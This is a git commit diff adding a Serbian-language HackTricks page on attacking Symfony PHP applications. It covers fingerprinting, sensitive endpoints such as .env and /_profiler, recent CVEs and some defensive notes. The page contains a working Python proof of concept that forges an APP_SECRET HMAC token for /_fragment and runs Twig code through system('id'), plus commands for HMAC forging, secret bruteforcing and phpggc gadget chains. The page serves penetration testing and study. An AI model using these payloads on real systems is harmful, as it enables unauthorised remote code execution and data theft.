mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/symphony.md'
This commit is contained in:
parent
5d5313773f
commit
0db76bd3b8
@ -2,10 +2,123 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Pogledajte sledeće postove:
|
||||
Symfony je jedan od najčešće korišćenih PHP okvira i redovno se pojavljuje u procenama ciljeva preduzeća, e-trgovine i CMS-a (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova stranica prikuplja ofanzivne savete, uobičajene greške u konfiguraciji i nedavne ranjivosti koje treba da imate na svojoj listi kada otkrijete Symfony aplikaciju.
|
||||
|
||||
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
|
||||
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
||||
> Istorijska napomena: Veliki deo ekosistema još uvek koristi **5.4 LTS** granu (EOL **novembar 2025**). Uvek proverite tačnu minor verziju jer mnoge sigurnosne preporuke iz 2023-2025. godine ispravljene su samo u zakrpama (npr. 5.4.46 → 5.4.50).
|
||||
|
||||
---
|
||||
|
||||
## Recon & Enumeration
|
||||
|
||||
### Finger-printing
|
||||
* HTTP odgovori: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` ili kolačići koji počinju sa `sf_redirect`, `sf_session`, `MOCKSESSID`.
|
||||
* Curenje izvornog koda (`composer.json`, `composer.lock`, `/vendor/…`) često otkriva tačnu verziju:
|
||||
```bash
|
||||
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
|
||||
```
|
||||
* Javne rute koje postoje samo na Symfony:
|
||||
* `/_profiler` (Symfony **Profiler** & debug toolbar)
|
||||
* `/_wdt/<token>` (“Web Debug Toolbar”)
|
||||
* `/_error/{code}.{_format}` (lepe stranice grešaka)
|
||||
* `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
|
||||
* Wappalyzer, BuiltWith ili ffuf/feroxbuster liste reči: `symfony.txt` → tražite `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
|
||||
|
||||
### Zanimljive datoteke & krajnje tačke
|
||||
| Putanja | Zašto je važna |
|
||||
|------|----------------|
|
||||
| `/.env`, `/.env.local`, `/.env.prod` | Često pogrešno postavljene → curenje `APP_SECRET`, DB kredencijali, SMTP, AWS ključevi |
|
||||
| `/.git`, `.svn`, `.hg` | Otkriće izvora → kredencijali + poslovna logika |
|
||||
| `/var/log/*.log`, `/log/dev.log` | Pogrešna konfiguracija web-root-a otkriva stack-traces |
|
||||
| `/_profiler` | Puna istorija zahteva, konfiguracija, servisni kontejner, **APP_SECRET** (≤ 3.4) |
|
||||
| `/_fragment` | Ulazna tačka koju koristi ESI/HInclude. Moguće je zloupotrebljavati kada znate `APP_SECRET` |
|
||||
| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE ako je dostupan (CVE-2017-9841) |
|
||||
| `/index.php/_error/{code}` | Finger-print & ponekad curenje tragova izuzetaka |
|
||||
|
||||
---
|
||||
|
||||
## Visoko uticajne ranjivosti (2023-2025)
|
||||
|
||||
### 1. Otkriće APP_SECRET ➜ RCE putem `/_fragment` (poznato kao “secret-fragment”)
|
||||
* **CVE-2019-18889** prvobitno, ali *još uvek* se pojavljuje na modernim ciljevima kada je debug ostavljen uključen ili je `.env` izložen.
|
||||
* Kada znate 32-znamenkasti `APP_SECRET`, kreirajte HMAC token i zloupotrebite unutrašnji `render()` kontroler da izvršite proizvoljni Twig:
|
||||
```python
|
||||
# PoC – zahteva tajnu
|
||||
import hmac, hashlib, requests, urllib.parse as u
|
||||
secret = bytes.fromhex('deadbeef…')
|
||||
payload = "{{['id']|filter('system')}}" # RCE u Twig
|
||||
query = {
|
||||
'template': '@app/404.html.twig',
|
||||
'filter': 'raw',
|
||||
'_format': 'html',
|
||||
'_locale': 'en',
|
||||
'globals[cmd]': 'id'
|
||||
}
|
||||
qs = u.urlencode(query, doseq=True)
|
||||
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
|
||||
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
|
||||
print(r.text)
|
||||
```
|
||||
* Odličan članak i skripta za eksploataciju: Ambionics blog (linkovan u Referencama).
|
||||
|
||||
### 2. Windows Process Hijack – CVE-2024-51736
|
||||
* `Process` komponenta pretražuje trenutni radni direktorijum **pre** `PATH` na Windows-u. Napadač koji može da otpremi `tar.exe`, `cmd.exe`, itd. u pisiv web-root i pokrene `Process` (npr. ekstrakcija fajlova, generisanje PDF-a) dobija izvršenje komandi.
|
||||
* Ispravljeno u 5.4.50, 6.4.14, 7.1.7.
|
||||
|
||||
### 3. Session-Fixation – CVE-2023-46733
|
||||
* Autentifikacioni čuvar ponovo koristi postojeći ID sesije nakon prijave. Ako napadač postavi kolačić **pre** nego što žrtva autentifikuje, preuzima nalog nakon prijave.
|
||||
|
||||
### 4. Twig sandbox XSS – CVE-2023-46734
|
||||
* U aplikacijama koje izlažu korisnički kontrolisane šablone (admin CMS, alat za izradu e-pošte) `nl2br` filter može biti zloupotrebljen da zaobiđe sandbox i injektuje JS.
|
||||
|
||||
### 5. Symfony 1 gadget lanci (još uvek se nalaze u nasleđenim aplikacijama)
|
||||
* `phpggc symfony/1 system id` proizvodi Phar payload koji pokreće RCE kada se desi unserialize() na klasama kao što su `sfNamespacedParameterHolder`. Proverite krajnje tačke za otpremu fajlova i `phar://` omotače.
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Exploitation Cheat-Sheet
|
||||
|
||||
### Izračunajte HMAC token za `/_fragment`
|
||||
```bash
|
||||
python - <<'PY'
|
||||
import sys, hmac, hashlib, urllib.parse as u
|
||||
secret = bytes.fromhex(sys.argv[1])
|
||||
qs = u.quote_plus(sys.argv[2], safe='=&')
|
||||
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
|
||||
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
|
||||
```
|
||||
### Bruteforce slabe `APP_SECRET`
|
||||
```bash
|
||||
cewl -d3 https://target -w words.txt
|
||||
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
|
||||
```
|
||||
### RCE putem izloženog Symfony Console
|
||||
Ako je `bin/console` dostupan putem `php-fpm` ili direktnog CLI upload-a:
|
||||
```bash
|
||||
php bin/console about # confirm it works
|
||||
php bin/console cache:clear --no-warmup
|
||||
```
|
||||
Koristite deserializacione gadget-e unutar direktorijuma keša ili napišite zloćudni Twig šablon koji će biti izvršen prilikom sledećeg zahteva.
|
||||
|
||||
---
|
||||
|
||||
## Odbrambene napomene
|
||||
1. **Nikada ne postavljajte debug** (`APP_ENV=dev`, `APP_DEBUG=1`) u produkciju; blokirajte `/app_dev.php`, `/_profiler`, `/_wdt` u konfiguraciji web-servera.
|
||||
2. Čuvajte tajne u env varijablama ili `vault/secrets.local.php`, *nikada* u datotekama dostupnim kroz dokument-root.
|
||||
3. Sprovodite upravljanje zakrpama – prijavite se na Symfony sigurnosne obaveštenja i održavajte barem LTS nivo zakrpa.
|
||||
4. Ako radite na Windows-u, odmah se nadogradite da biste ublažili CVE-2024-51736 ili dodajte `open_basedir`/`disable_functions` odbranu u dubini.
|
||||
|
||||
---
|
||||
|
||||
### Korisni ofanzivni alati
|
||||
* **ambionics/symfony-exploits** – RCE sa tajnim fragmentom, otkrivanje ruta debagera.
|
||||
* **phpggc** – Gotove lance gadget-a za Symfony 1 i 2.
|
||||
* **sf-encoder** – mali pomoćnik za izračunavanje `_fragment` HMAC (Go implementacija).
|
||||
|
||||
## Reference
|
||||
* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user